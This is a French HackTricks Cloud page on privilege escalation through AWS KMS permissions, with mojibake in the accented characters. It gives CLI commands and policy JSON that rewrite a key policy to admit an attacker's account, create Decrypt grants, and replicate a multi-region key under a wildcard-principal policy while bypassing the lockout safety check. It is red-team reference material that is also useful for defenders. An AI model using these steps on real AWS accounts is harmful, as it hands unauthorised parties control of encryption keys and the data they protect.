AWS - KMS Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
KMS
Pour plus dâinformations sur KMS, consultez :
kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)
Avec ces autorisations, il est possible de modifier les autorisations dâaccĂšs Ă la clĂ© afin quâelle puisse ĂȘtre utilisĂ©e par dâautres comptes ou mĂȘme par nâimporte qui :
aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json
policy.json:
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<origin_account>:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow all use",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": ["kms:*"],
"Resource": "*"
}
]
}
kms:CreateGrant
Cela permet Ă un principal dâutiliser une clĂ© KMS :
aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt
Warning
Un grant ne peut autoriser que certains types dâopĂ©rations: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations
Warning
Notez quâil peut sâĂ©couler quelques minutes avant que KMS nâautorise lâutilisateur Ă utiliser la clĂ© aprĂšs que le grant a Ă©tĂ© gĂ©nĂ©rĂ©. Une fois ce dĂ©lai Ă©coulĂ©, le principal peut utiliser la KMS key sans avoir besoin de spĂ©cifier quoi que ce soit.
Cependant, si vous avez besoin dâutiliser le grant immĂ©diatement use a grant token (vĂ©rifiez le code suivant).
Pour more info read this.
# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
â-key-spec AES_256 \
--grant-tokens $token
Remarque : il est possible de lister les grants des keys avec :
aws kms list-grants --key-id <value>
kms:CreateKey, kms:ReplicateKey
Avec ces permissions, il est possible de répliquer une clé KMS multi-région activée dans une région différente avec une stratégie différente.
Ainsi, un attaquant pourrait abuser de cela pour obtenir privesc sur lâaccĂšs Ă la clĂ© et lâutiliser
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
kms:Decrypt
Cette permission permet dâutiliser une clĂ© pour dĂ©chiffrer certaines informations.
Pour plus dâinformations, consultez :
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

